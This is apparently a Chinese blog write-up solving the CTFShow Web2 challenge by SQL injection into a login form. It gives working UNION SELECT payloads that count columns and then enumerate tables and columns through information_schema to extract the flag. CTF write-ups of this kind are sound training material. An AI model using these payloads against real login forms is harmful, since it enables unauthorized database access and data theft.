CTFshow WEB 2 题解

一、题目介绍

CTFShow Web2 是一道 SQL 注入相关的题目,考察选手对 SQL 注入(特别是 UNION SELECT 语句)的掌握程度。解题的关键在于通过 SQL 注入获取数据库结构,并最终提取 flag。

二、题目分析

打开靶场发现只有一个登录框想到可能登录框内存在sql注入于是我们进行尝试,目标是利用 UNION SELECT 语句枚举数据库中的表、列,并获取存储的 flag。

三、解题过程(包括关键点、工具、代码等)

1.先判断有可查询的字段数

我们首先需要确定查询语句的字段数量,以确保 UNION SELECT 语句能够正确执行。在用户名输入框中尝试输入以下语句:

' or 1=1 order by 3#
' or 1=1 order by 4#

发现 ORDER BY 3 正常,而 ORDER BY 4 时报错,说明查询的字段数为 3

2.获取数据库表名

确认字段数后,我们利用 UNION SELECT 语句查询当前数据库下的所有表名:

' OR 1=1 UNION SELECT 1, GROUP_CONCAT(table_name), 3 FROM information_schema.tables WHERE table_schema=database()#

后发现当前数据库下有两个表:flaguser

3. 获取 flag 表的列名

接着,我们对 flag 表进行注入,查询其列名:

' OR 1=1 UNION SELECT 1, GROUP_CONCAT(column_name), 3 FROM information_schema.columns WHERE table_schema=database() AND table_name='flag'#

查询结果显示 flag 表下的列名也是 flag

4. 读取 flag 表中的数据

现在我们可以直接查询 flag 表中的内容,获取 flag:

' OR 1=1 UNION SELECT 1, flag, 3 FROM flag#

成功获取 flag。

四、题目总结

总的来说该题是一个简单的sql注入类型题目,主要考察 UNION SELECT 结合 information_schema 进行数据库信息枚举的能力。掌握这类 SQL 注入方法,在 CTF 和实际渗透测试中都非常有用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值